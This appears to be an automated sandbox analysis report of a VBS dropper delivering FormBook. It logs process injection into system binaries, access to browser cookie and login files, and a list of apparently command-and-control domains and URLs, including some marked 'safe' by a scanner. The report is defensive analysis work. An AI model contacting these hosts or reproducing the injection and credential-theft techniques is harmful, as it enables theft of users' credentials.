Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\chkntfs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: FB1008	Jump to behavior

Source: JogKDBeJAc.exe, 00000005.00000000.2264864601.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000002.3304205599.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304116255.00000000016A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: JogKDBeJAc.exe, 00000005.00000000.2264864601.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000002.3304205599.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304116255.00000000016A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: JogKDBeJAc.exe, 00000005.00000000.2264864601.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000002.3304205599.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304116255.00000000016A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: JogKDBeJAc.exe, 00000005.00000000.2264864601.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000002.3304205599.0000000001151000.00000002.00000001.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304116255.00000000016A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	612 Process Injection	1 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	5 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	612 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
PO1341489LTB GROUP.vbs	26%	Virustotal		Browse
PO1341489LTB GROUP.vbs	21%	ReversingLabs	Script.Trojan.Heuristic

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\x.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\x.exe	55%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook

Source	Detection	Scanner	Label
https://park.101datacenter.net/images/vendor-1/google_workspace.png	0%	Avira URL Cloud	safe
https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/trustpilot.svg	0%	Avira URL Cloud	safe
http://www.pin-ballerz.net/ocjg/	0%	Avira URL Cloud	safe
http://www.timai.shop/xsla/?-V8=hoxAaasoZBOD0j1KZ83XYOlI1AJE1doQvwEl/6A98KlFBwCru8LBuQoutmWPazGrcTbrOkYKG6VMwnANAgx3/U5cHXy83Zs53QS9fb9clXtmfZkgH8FbRqFEUKF+mnaT3w==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour	0%	Avira URL Cloud	safe
http://www.northidahoscans.online/px.js?ch=2	0%	Avira URL Cloud	safe
https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=wa	0%	Avira URL Cloud	safe
http://www.northidahoscans.online/px.js?ch=1	0%	Avira URL Cloud	safe
https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=waytoocool.life&utm	0%	Avira URL Cloud	safe
http://www.pin-ballerz.net/ocjg/?-V8=PsakXBZzgyoVbyp2hjDhUIAPjymto9iGXnTsMAFbSxg7wqJ/GaGLf9R1SWA0D+LwAwOTNpeqtTSBVw9+2LbbbxVu9AMo8WkIslXiFZquUVbpmyTV+kMBZINqQZENrlqOtg==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/vendor-1.css?20241209054434	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/101dacs.js	0%	Avira URL Cloud	safe
http://www.timai.shop	0%	Avira URL Cloud	safe
https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/google-reviews.svg	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/icon/101domain.ico	0%	Avira URL Cloud	safe
https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	0%	Avira URL Cloud	safe
http://www.brickhills.site/q6c0/?-V8=DNozHXZRHwMop+WB0qwfBKpxfEH+ejoTyKy7EOTXMNRX1xYPjRGOw4JAj4pefwWAxfS0q+PDkH37PQMlxyuVDnop3GMN8cH/UXRq5XDzrWyHO52OJthmQYZMV7gmULD6fQ==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/com.png	0%	Avira URL Cloud	safe
https://www.101domain.com/gmail_email_aliases.htm	0%	Avira URL Cloud	safe
https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	0%	Avira URL Cloud	safe
http://www.brickhills.site/q6c0/	0%	Avira URL Cloud	safe
http://www.waytoocool.life/nydx/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/js/jquery-3.6.0.min.js?20241209054434	0%	Avira URL Cloud	safe
https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra	0%	Avira URL Cloud	safe
http://www.waytoocool.life/nydx/?-V8=q7nzFJj3afdOFJJfiG7XJfkkRIbmdsBL0Xh9x7HOO1bMwAYpIu+EkXrpUMzqVtVwT+pWdZ8+fZkDpnUDi5L0pxX3zg/WB9ChebFWf29eE9HJh+d3M/EMfjpTQLNaei8vxw==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
https://park.101datacenter.net/js/pricing.js?20241209054434	0%	Avira URL Cloud	safe
https://www.101domain.com/resource_center.htm	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/smartclick	0%	Avira URL Cloud	safe
https://www.101domain.com/external_links.htm	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff2	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff2)	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff)	0%	Avira URL Cloud	safe
https://park.101datacenter.net	0%	Avira URL Cloud	safe
https://www.101domain.com/domain_concierge_service.htm?query=waytoocool.life&utm_campaign=parked-pag	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/park-back.jpg	0%	Avira URL Cloud	safe
http://www.brickhills.site/q6c0/?-V8=DNozHXZRHwMop	0%	Avira URL Cloud	safe
http://www.northidahoscans.online/sk-logabpstatus.php?a=L2g4bEdyRU15NHN0SHVwVWZwYVdjU3FNL0laQndpc0cz	0%	Avira URL Cloud	safe
https://park.101datacenter.net/js/modernizr-webp.js?20241209054434	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/park-back.webp	0%	Avira URL Cloud	safe
http://www.timai.shop/xsla/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/101domain-logo.svg	0%	Avira URL Cloud	safe
http://www.allstary.top/83oq/?-V8=uON7WwvftimkH6+9fo1haamOfON2rQIMUfJSLV47BI3eNmd69pzs52jdBx/JPqPeVCXck41+K0Sv6SgSfr5VB9MDDVgyHUBPcljHHq+Df2KeZsyLZPWCaDvb78l21qpsnQ==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
http://www.northidahoscans.online/lvnw/?-V8=PnfuVDu+NOzkAh7O+7Vj27VnnoRWHWCWtKII0z0YG5WqqHdwEfQqR5XVQmQd5mG7F2k9Soh0q42Pqx1rEU++5lE1fyewpKHAvlydGXlffERlJmNtF5QLa6mLyqy4r6QOPw==&2H=b6QHb8C0WpQhtV	0%	Avira URL Cloud	safe
https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	0%	Avira URL Cloud	safe
http://www.allstary.top/83oq/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
www.brickhills.site	103.224.182.242	true	false	unknown
pin-ballerz.net	199.15.251.162	true	false	unknown
www.northidahoscans.online	208.91.197.27	true	false	unknown
www.allstary.top	199.193.6.134	true	false	unknown
www.waytoocool.life	52.60.87.163	true	false	unknown
just-do-public-0526-cpdhe.jiexi-010.top	18.166.177.211	true	false	unknown
www.timai.shop	unknown	unknown	false	unknown
www.pin-ballerz.net	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
http://www.pin-ballerz.net/ocjg/	false	Avira URL Cloud: safe	unknown
http://www.timai.shop/xsla/?-V8=hoxAaasoZBOD0j1KZ83XYOlI1AJE1doQvwEl/6A98KlFBwCru8LBuQoutmWPazGrcTbrOkYKG6VMwnANAgx3/U5cHXy83Zs53QS9fb9clXtmfZkgH8FbRqFEUKF+mnaT3w==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown
http://www.pin-ballerz.net/ocjg/?-V8=PsakXBZzgyoVbyp2hjDhUIAPjymto9iGXnTsMAFbSxg7wqJ/GaGLf9R1SWA0D+LwAwOTNpeqtTSBVw9+2LbbbxVu9AMo8WkIslXiFZquUVbpmyTV+kMBZINqQZENrlqOtg==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown
http://www.brickhills.site/q6c0/?-V8=DNozHXZRHwMop+WB0qwfBKpxfEH+ejoTyKy7EOTXMNRX1xYPjRGOw4JAj4pefwWAxfS0q+PDkH37PQMlxyuVDnop3GMN8cH/UXRq5XDzrWyHO52OJthmQYZMV7gmULD6fQ==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown
http://www.waytoocool.life/nydx/?-V8=q7nzFJj3afdOFJJfiG7XJfkkRIbmdsBL0Xh9x7HOO1bMwAYpIu+EkXrpUMzqVtVwT+pWdZ8+fZkDpnUDi5L0pxX3zg/WB9ChebFWf29eE9HJh+d3M/EMfjpTQLNaei8vxw==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown
http://www.waytoocool.life/nydx/	false	Avira URL Cloud: safe	unknown
http://www.brickhills.site/q6c0/	false	Avira URL Cloud: safe	unknown
http://www.timai.shop/xsla/	false	Avira URL Cloud: safe	unknown
http://www.northidahoscans.online/lvnw/?-V8=PnfuVDu+NOzkAh7O+7Vj27VnnoRWHWCWtKII0z0YG5WqqHdwEfQqR5XVQmQd5mG7F2k9Soh0q42Pqx1rEU++5lE1fyewpKHAvlydGXlffERlJmNtF5QLa6mLyqy4r6QOPw==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown
http://www.allstary.top/83oq/	false	Avira URL Cloud: safe	unknown
http://www.allstary.top/83oq/?-V8=uON7WwvftimkH6+9fo1haamOfON2rQIMUfJSLV47BI3eNmd69pzs52jdBx/JPqPeVCXck41+K0Sv6SgSfr5VB9MDDVgyHUBPcljHHq+Df2KeZsyLZPWCaDvb78l21qpsnQ==&2H=b6QHb8C0WpQhtV	false	Avira URL Cloud: safe	unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO1341489LTB GROUP.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\x.exe.log

C:\Users\user\AppData\Local\Temp\47T9R4KG

C:\Users\user\AppData\Local\Temp\x.exe

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
PO1341489LTB GROUP.vbs

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://park.101datacenter.net/images/vendor-1/google_workspace.png	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dts.gnpge.com	firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/trustpilot.svg	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=wa	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.northidahoscans.online/px.js?ch=1	chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.northidahoscans.online/px.js?ch=2	chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=waytoocool.life&utm	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com/101dacs.js	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
